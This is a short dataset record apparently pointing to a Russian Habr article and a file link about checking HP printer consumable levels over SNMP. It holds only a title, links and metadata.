SNMP Printers: <http://yadi.sk/d/5lggU-8d1VPyN> (Состояние расходников принтеров HP) | https://habr.com/ru/post/164293/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.